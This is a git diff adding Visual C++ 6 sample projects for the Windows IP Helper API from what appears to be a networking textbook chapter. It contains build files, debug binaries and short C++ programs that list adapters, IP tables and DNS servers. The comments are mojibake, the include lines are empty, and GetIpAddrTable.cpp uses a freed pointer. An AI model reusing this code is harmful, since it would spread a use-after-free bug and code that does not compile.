"Win32 (x86) Console Application" 0x0103 + +CFG=GetIfEntry - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "GetIfEntry.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "GetIfEntry.mak" CFG="GetIfEntry - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "GetIfEntry - Win32 Release" (based on "Win32 (x86) Console Application") +!MESSAGE "GetIfEntry - Win32 Debug" (based on "Win32 (x86) Console Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "GetIfEntry - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 + +!ELSEIF "$(CFG)" == "GetIfEntry - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "GetIfEntry - Win32 Release" +# Name "GetIfEntry - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\GetIfEntry.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/GetIfEntry.dsw" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/GetIfEntry.dsw" new file mode 100644 index 0000000..a7aa40f --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/GetIfEntry.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "GetIfEntry"=".\GetIfEntry.dsp" - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIfEntry/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/Debug/GetInterfaceInfo.exe" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/Debug/GetInterfaceInfo.exe" new file mode 100644 index 0000000..7e84fe7 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/Debug/GetInterfaceInfo.exe" differ diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/GetInterfaceInfo.cpp" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/GetInterfaceInfo.cpp" new file mode 100644 index 0000000..b57a049 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/GetInterfaceInfo.cpp" @@ -0,0 +1,39 @@ +////////////////////////////////////////////////////////////////////// +// GetInterfaceInfo.cppÎļþ + + +#include +#include +#include + +#pragma comment(lib, "Iphlpapi.lib") + + +int main() +{ + PIP_INTERFACE_INFO pInfo = + (PIP_INTERFACE_INFO)::GlobalAlloc(GPTR, sizeof(IP_INTERFACE_INFO)); + ULONG ulOutBufLen = sizeof(IP_INTERFACE_INFO); + + // Èç¹ûÉÏÃæÉêÇëµÄÄÚ´æ²»¹»µÄ»°£¬ÔÙÖØÐÂÉêÇë + if(::GetInterfaceInfo(pInfo, &ulOutBufLen) == ERROR_INSUFFICIENT_BUFFER) + { + ::GlobalFree(pInfo); + pInfo = (PIP_INTERFACE_INFO)::GlobalAlloc(GPTR, ulOutBufLen); + } + + // Ôٴε÷ÓÃGetInterfaceInfoÀ´»ñÈ¡ÎÒÃÇʵ¼ÊÐèÒªµÄÊý¾Ý + if(::GetInterfaceInfo(pInfo, &ulOutBufLen) == NO_ERROR) + { + printf(" \tAdapter Name: %ws\n", pInfo->Adapter[0].Name); + printf(" \tAdapter Index: %ld\n", pInfo->Adapter[0].Index); + printf(" \tNum Adapters: %ld\n", pInfo->NumAdapters); + } + else + { + printf(" GetInterfaceInfo() failed \n"); + } + + ::GlobalFree(pInfo); + return 0; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/GetInterfaceInfo.dsp" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/GetInterfaceInfo.dsp" new file mode 100644 index 0000000..4835b02 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/GetInterfaceInfo.dsp" @@ -0,0 +1,100 @@ +# Microsoft Developer Studio Project File - Name="GetInterfaceInfo" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Console Application" 0x0103 + +CFG=GetInterfaceInfo - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "GetInterfaceInfo.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "GetInterfaceInfo.mak" CFG="GetInterfaceInfo - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "GetInterfaceInfo - Win32 Release" (based on "Win32 (x86) Console Application") +!MESSAGE "GetInterfaceInfo - Win32 Debug" (based on "Win32 (x86) Console Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "GetInterfaceInfo - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 + +!ELSEIF "$(CFG)" == "GetInterfaceInfo - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "GetInterfaceInfo - Win32 Release" +# Name "GetInterfaceInfo - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\GetInterfaceInfo.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/GetInterfaceInfo.dsw" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/GetInterfaceInfo.dsw" new file mode 100644 index 0000000..ae528a4 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/GetInterfaceInfo.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "GetInterfaceInfo"=".\GetInterfaceInfo.dsp" - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetInterfaceInfo/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/Debug/GetIpAddrTable.exe" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/Debug/GetIpAddrTable.exe" new file mode 100644 index 0000000..e2201b7 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/Debug/GetIpAddrTable.exe" differ diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/GetIpAddrTable.cpp" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/GetIpAddrTable.cpp" new file mode 100644 index 0000000..4762eab --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/GetIpAddrTable.cpp" @@ -0,0 +1,97 @@ +////////////////////////////////////////////////////////////////////// +// GetIpAddrTable.cppÎļþ + + +#include +#include +#include + +#pragma comment(lib, "Iphlpapi.lib") +#pragma comment(lib, "WS2_32.lib") + + +int main() +{ + // Ê×Ïȵ÷ÓÃGetIpAddrTableº¯Êý»ñÈ¡Ò»¸öÊÊÅäÆ÷ + PMIB_IPADDRTABLE pIPAddrTable; + DWORD dwSize = 0; + + pIPAddrTable = (PMIB_IPADDRTABLE)::GlobalAlloc(GPTR, sizeof(MIB_IPADDRTABLE)); + + // »ñÈ¡ËùÐèµÄÄÚ´æ + if(::GetIpAddrTable(pIPAddrTable, &dwSize, FALSE) == ERROR_INSUFFICIENT_BUFFER) + { + ::GlobalFree(pIPAddrTable); + pIPAddrTable = (PMIB_IPADDRTABLE)::GlobalAlloc(GPTR, dwSize); + } + + // Ôٴε÷ÓÃGetIpAddrTable»ñȡʵ¼ÊÎÒÃÇÏëÒªµÄÊý¾Ý + if(::GetIpAddrTable(pIPAddrTable, &dwSize, FALSE) == NO_ERROR) + { + // ´òÓ¡³öÊÊÅäÆ÷ÐÅÏ¢ + printf(" Address: %ld\n", pIPAddrTable->table[0].dwAddr); + printf(" Mask: %ld\n", pIPAddrTable->table[0].dwMask); + printf(" Index: %ld\n", pIPAddrTable->table[0].dwIndex); + printf(" BCast: %ld\n", pIPAddrTable->table[0].dwBCastAddr); + printf(" Reasm: %ld\n", pIPAddrTable->table[0].dwReasmSize); + } + else + { + printf(" GetIpAddrTable() failed \n"); + } + + ::GlobalFree(pIPAddrTable); + + // ÎÒÃǽ«ÒªÌí¼ÓµÄIPºÍmast + UINT iaIPAddress; + UINT imIPMask; + + iaIPAddress = inet_addr("192.168.0.27"); + imIPMask = inet_addr("255.255.255.0"); + + // ·µ»ØµÄ¾ä±ú + ULONG NTEContext = 0; + ULONG NTEInstance = 0; + + // ÏòµÚÒ»¸öÊÊÅäÆ÷Ìí¼ÓIPµØÖ· + DWORD dwRet; + dwRet = ::AddIPAddress(iaIPAddress, imIPMask, + pIPAddrTable->table[0].dwIndex, &NTEContext, &NTEInstance); + if(dwRet == NO_ERROR) + { + printf(" IP address added.\n"); + } + else + { + printf(" AddIPAddress failed. \n"); + LPVOID lpMsgBuf; + // µ÷ÓÃʧ°Ü£¬´òÓ¡³öΪʲôʧ°Ü + if (::FormatMessage( + FORMAT_MESSAGE_ALLOCATE_BUFFER | + FORMAT_MESSAGE_FROM_SYSTEM | + FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, + dwRet, + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language + (LPTSTR) &lpMsgBuf, + 0, + NULL )) + { + printf(" Error: %s ", lpMsgBuf); + } + ::LocalFree(lpMsgBuf); + } + + // ɾ³ýÉÏÃæÔÚµÚÒ»¸öÊÊÅäÆ÷ÉÏÌí¼ÓµÄIPµØÖ· + dwRet = ::DeleteIPAddress(NTEContext); + if(dwRet == NO_ERROR) + { + printf(" IP Address Deleted.\n"); + } + else + { + printf(" DeleteIPAddress failed.\n"); + } + + return 0; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/GetIpAddrTable.dsp" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/GetIpAddrTable.dsp" new file mode 100644 index 0000000..b6c8060 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/GetIpAddrTable.dsp" @@ -0,0 +1,100 @@ +# Microsoft Developer Studio Project File - Name="GetIpAddrTable" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Console Application" 0x0103 + +CFG=GetIpAddrTable - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "GetIpAddrTable.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "GetIpAddrTable.mak" CFG="GetIpAddrTable - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "GetIpAddrTable - Win32 Release" (based on "Win32 (x86) Console Application") +!MESSAGE "GetIpAddrTable - Win32 Debug" (based on "Win32 (x86) Console Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "GetIpAddrTable - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 + +!ELSEIF "$(CFG)" == "GetIpAddrTable - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "GetIpAddrTable - Win32 Release" +# Name "GetIpAddrTable - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\GetIpAddrTable.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/GetIpAddrTable.dsw" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/GetIpAddrTable.dsw" new file mode 100644 index 0000000..083c23d --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/GetIpAddrTable.dsw" @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "GetIpAddrTable"=".\GetIpAddrTable.dsp" - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetIpAddrTable/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/Debug/GetNetworkParams.exe" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/Debug/GetNetworkParams.exe" new file mode 100644 index 0000000..8417538 Binary files /dev/null and "b/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/Debug/GetNetworkParams.exe" differ diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/GetNetworkParams.cpp" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/GetNetworkParams.cpp" new file mode 100644 index 0000000..b439ae0 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/GetNetworkParams.cpp" @@ -0,0 +1,42 @@ +////////////////////////////////////////////////////////////////////// +// GetNetworkParams.cppÎļþ + + +#include +#include +#include + +#pragma comment(lib, "Iphlpapi.lib") + + +int main() +{ + FIXED_INFO fi; + ULONG ulOutBufLen = sizeof(fi); + + // »ñÈ¡±¾µØµçÄÔµÄÍøÂç²ÎÊý + if(::GetNetworkParams(&fi, &ulOutBufLen) != ERROR_SUCCESS) + { + printf(" GetNetworkParams() failed \n"); + return -1; + } + + // Ö÷»úÃû³Æ + printf(" Host Name: %s \n", fi.HostName); + + // µçÄÔ×¢²áµÄÓòÃû + printf(" Domain Name: %s \n", fi.DomainName); + + // ´òÓ¡³öËùÓеÄDNS·þÎñÆ÷ + printf(" DNS Servers: \n"); + printf(" \t%s \n", fi.DnsServerList.IpAddress.String); + IP_ADDR_STRING *pIPAddr = fi.DnsServerList.Next; + while(pIPAddr != NULL) + { + printf(" \t%s \n", pIPAddr->IpAddress.String); + pIPAddr = pIPAddr->Next; + } + + return 0; +} + diff --git "a/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/GetNetworkParams.dsp" "b/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/GetNetworkParams.dsp" new file mode 100644 index 0000000..9aeb276 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25413\347\253\240/GetNetworkParams/GetNetworkParams.dsp" @@ -0,0 +1,100 @@ +# Microsoft Developer Studio Project File - Name="GetNetworkParams" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Console Application" 0x0103 + +CFG=GetNetworkParams - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "GetNetworkParams.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "GetNetworkParams.mak" CFG="GetNetworkParams - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "GetNetworkParams - Win32 Release" (based on "Win32 (x86) Console Application") +!MESSAGE "GetNetworkParams - Win32 Debug" (based on "Win32 (x86) Console Application") 